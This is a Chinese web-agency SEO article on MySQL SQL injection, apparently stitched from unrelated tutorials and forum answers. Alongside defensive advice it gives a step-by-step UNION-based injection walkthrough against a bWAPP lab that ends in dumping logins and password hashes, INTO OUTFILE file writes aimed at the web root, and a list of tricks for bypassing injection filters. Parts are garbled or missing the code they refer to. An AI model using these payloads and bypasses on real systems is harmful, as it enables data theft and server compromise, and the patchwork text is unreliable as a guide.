是否有漏洞與代碼有關,與此無關
創(chuàng)新互聯(lián)堅持“要么做到,要么別承諾”的工作理念,服務領域包括:網(wǎng)站建設、成都網(wǎng)站建設、企業(yè)官網(wǎng)、英文網(wǎng)站、手機端網(wǎng)站、網(wǎng)站推廣等服務,滿足客戶于互聯(lián)網(wǎng)時代的象山網(wǎng)站設計、移動媒體設計的需求,幫助企業(yè)找到有效的互聯(lián)網(wǎng)解決方案。努力成為您成熟可靠的網(wǎng)絡建設合作伙伴!
其中主流的連接MySQL的方式是用mysql或者mysql2包,它們只是提供了調用驅動的api。很多框架中包括egg,nest都是基于此封裝的。
但這不是SQL注入的關鍵,它只是一種連接方式。它只管連接,不管其他的,存不存在SQL注入完全靠寫代碼的人本身啊。
一句腳本本沒有問題(知道不讓直接放sql的,也是放注入),但是你如果讓SQL變成由用戶輸入拼接而成,那就存在SQL注入的風險。
你應該去了解SQL注入的原理,然后進行防患,百度就能找到,然后可以用ORM,一般都對輸入做了處理,還能避免直接寫SQL(但其實難的地方還得自己寫)。
有不理解可以追問。
SQL注入是一種非常常見的數(shù)據(jù)庫攻擊手段,同時也是網(wǎng)絡世界中最普遍的漏洞之一,簡單理解就是惡意用戶通過在表單中填寫包含SQL關鍵字的數(shù)據(jù)來使數(shù)據(jù)庫執(zhí)行非常規(guī)代碼的過程。
問題來源是,SQL數(shù)據(jù)庫的操作是通過SQL語句來執(zhí)行的,而無論是執(zhí)行代碼還是數(shù)據(jù)項都必須寫在SQL語句中,也就導致如果我們在數(shù)據(jù)項中加入了某些SQL語句關鍵字,比如SELECT、DROP等,這些關鍵字就很有可能在數(shù)據(jù)庫寫入或讀取數(shù)據(jù)時得到執(zhí)行。
解決方案
方案一:
采用預編譯技術
使用預編譯的SQL語句,SQL語句的語義不會是不會發(fā)生改變的。預編譯語句在創(chuàng)建的時候就已經(jīng)將指定的SQL語句發(fā)送給了DBMS,完成了解析,檢查,編譯等工作,所以攻擊者無法改變SQL語句的結構,只是把值賦給?,然后將?這個變量傳給SQL語句。當然還有一些通過預編譯繞過某些安全防護的操作,大家感興趣可以去搜索一下。
方案二:
嚴格控制數(shù)據(jù)類型
在java、c等強類型語言中一般是不存在數(shù)字型注入的,因為在接受到用戶輸入id時,代碼一般會做一個int id 的數(shù)據(jù)類型轉換,假如我們輸入的是字符串的話,那么這種情況下,程序就會報錯。但是在PHP、ASP這些沒有強調處理數(shù)據(jù)類型的語言,一般我們看到的接收id的代碼都是如下等代碼。
方案三:
對特殊的字符進行轉義
數(shù)字型注入可以通過檢查數(shù)據(jù)類型防止,但是字符型不可以,那么怎么辦呢,最好的辦法就是對特殊的字符進行轉義了。比如在MySQL中我們可以對" '
"進行轉義,這樣就防止了一些惡意攻擊者來閉合語句。當然我們也可以通過一些安全函數(shù)來轉義特殊字符。如addslashes()等,但是這些函數(shù)并非一勞永逸,攻擊者還可以通過一些特殊的方式繞過。
找到注入點后利用語句:select [column...] from [table_name] into outfile [path]導出數(shù)據(jù)信息。此信息可以被sql注入利用。
找出對象服務器系統(tǒng),找出apache的根目錄,利用上面語句,將一個文件放到根目錄中,隨后可以在頁面中訪問該文件。文件名后綴可以自定義。
有時候導入導出權限會被mysql限制,只能將文件導入或導出到指定位置:
ERROR 1290: The MySQL server is running with the __secure-file-priv option so it cannot execute this statement
這時可以使用語句:show variables like 'secure_file_priv'來查詢能導入導出的位置
找到位置后就在對應位置導入或者導出文件:
select * from users into outfile '/var/lib/mysql-files/aa'
這時我們可以導出一個php文件,比如
select '?php phpinfo() ?' into outfile '/var/lib/mysql-files/test.php';phpinfo是導出php服務器環(huán)境的配置信息
然后,我們再去/var/lib/mysql-files目錄下查看是否真的導出成功了。
我們進行測試這里是否存在SQL注入漏洞
輸入a'
點擊搜索后
報錯了,說明很大可能存在SQL注入漏洞了。
order by 語句
輸入 a' order by 1 #
輸入a' order by 7#
輸入a' order by 8#
由此可以判斷出,庫中有7個列。
使用聯(lián)合查詢注入union
輸入a' union select 1,2,3,4,5,6,7#
可以看出是從2開始顯示。
可以將2,3,5,4,替換成我們想要查詢的信息
system_user() 系統(tǒng)用戶名
user() 用戶名
current_user 當前用戶名
session_user() 連接數(shù)據(jù)庫的用戶名
database() 數(shù)據(jù)庫名
version() MYSQL數(shù)據(jù)庫版本
load_file() MYSQL讀取本地文件的函數(shù)
@@datadir 讀取數(shù)據(jù)庫路徑
@@basedir MYSQL 安裝路徑
@@version_compile_os 操作系統(tǒng)
輸入a' union select 1,database(),3,4,5,6,7#
可見當前數(shù)據(jù)庫為bwapp
輸入a' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database()#
當前數(shù)據(jù)庫(bwapp)中,有五張表,其中users比較重要。
先查看users表的所有的列的信息
輸入a' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#
一共有9列。
其中的login和password,應該是我們有我們想要的東西。
那我們就去查出它們的信息
輸入a' union select 1,login,password,4,5,6,7 from users#
獲取login信息和password密碼
其中密碼是經(jīng)過md5加密,我們需要去解密
1.POST注入,通用防注入一般限制get,但是有時候不限制post或者限制的很少,這時候你就可以試下post注入,比如登錄框、搜索框、投票框這類的。另外,在asp中post已被發(fā)揚光大,程序員喜歡用receive來接受數(shù)據(jù),這就造成了很多時候get傳遞的參數(shù)通過post/cookie也能傳遞,這時如果恰好防注入程序只限制了get,因此post注入不解釋
2.cookie注入,原理同post注入,繞過相當多通用防注入
3.二次注入,第一次注入的數(shù)據(jù)可能不會有效,但是如果將來能在某個頁面里面被程序處理呢?注入來了……
4.csrf,適合后臺地址已知并且存在已知0day,可以試試用csrf劫持管理員來進行操作(這招其實不屬于sql注入了)
5.打碎關鍵字,比如過濾select,我可以用sel/**/ect來繞過,這招多見于mysql
6.有時候也可以sELeCT這樣大小寫混淆繞過
7.用chr對sql語句編碼進行繞過
8.如果等于號不好使,可以試試大于號或者小于號,如果and不好使可以試試or,這樣等價替換
9.多來幾個關鍵字確定是什么防注入程序,直接猜測源碼或者根據(jù)報錯關鍵字(如"非法操作,ip地址已被記錄")把源碼搞下來研究
10.記錄注入者ip和語句并寫入文件或數(shù)據(jù)庫,然而數(shù)據(jù)庫恰好是asp的,插馬秒殺
MySQL SQL 注入
SQL注入可能是目前互聯(lián)網(wǎng)上存在的最豐富的編程缺陷。 這是未經(jīng)授權的人可以訪問各種關鍵和私人數(shù)據(jù)的漏洞。 SQL注入不是Web或數(shù)據(jù)庫服務器中的缺陷,而是由于編程實踐較差且缺乏經(jīng)驗而導致的。 它是從遠程位置執(zhí)行的最致命和最容易的攻擊之一。
我們永遠不要信任用戶的輸入,我們必須認定用戶輸入的數(shù)據(jù)都是不安全的,我們都需要對用戶輸入的數(shù)據(jù)進行過濾處理。
以下實例中,輸入的用戶名必須為字母、數(shù)字及下劃線的組合,且用戶名長度為 8 到 20 個字符之間:
讓我們看下在沒有過濾特殊字符時,出現(xiàn)的SQL情況:
以上的注入語句中,我們沒有對 $name 的變量進行過濾,$name 中插入了我們不需要的SQL語句,將刪除 users 表中的所有數(shù)據(jù)。
在PHP中的 mysqli_query() 是不允許執(zhí)行多個 SQL 語句的,但是在 SQLite 和 PostgreSQL 是可以同時執(zhí)行多條SQL語句的,所以我們對這些用戶的數(shù)據(jù)需要進行嚴格的驗證。
防止SQL注入,我們需要注意以下幾個要點:
永遠不要信任用戶的輸入。對用戶的輸入進行校驗,可以通過正則表達式,或限制長度;對單引號和 雙”-“進行轉換等。
永遠不要使用動態(tài)拼裝sql,可以使用參數(shù)化的sql或者直接使用存儲過程進行數(shù)據(jù)查詢存取。
.永遠不要使用管理員權限的數(shù)據(jù)庫連接,為每個應用使用單獨的權限有限的數(shù)據(jù)庫連接。
不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。
應用的異常信息應該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝
sql注入的檢測方法一般采取輔助軟件或網(wǎng)站平臺來檢測,軟件一般采用sql注入檢測工具jsky,網(wǎng)站平臺就有億思網(wǎng)站安全平臺檢測工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻擊等。
教程來源:樹懶學堂_一站式數(shù)據(jù)知識學習平臺_MySQK 防止SQL注入
當前名稱:mysql怎么sql注入 如何進行sql注入
當前鏈接:http://aaarwkj.com/article14/hhpdde.html
成都網(wǎng)站建設公司_創(chuàng)新互聯(lián),為您提供品牌網(wǎng)站建設、ChatGPT、域名注冊、用戶體驗、建站公司、云服務器
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉載內(nèi)容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉載,或轉載時需注明來源: 創(chuàng)新互聯(lián)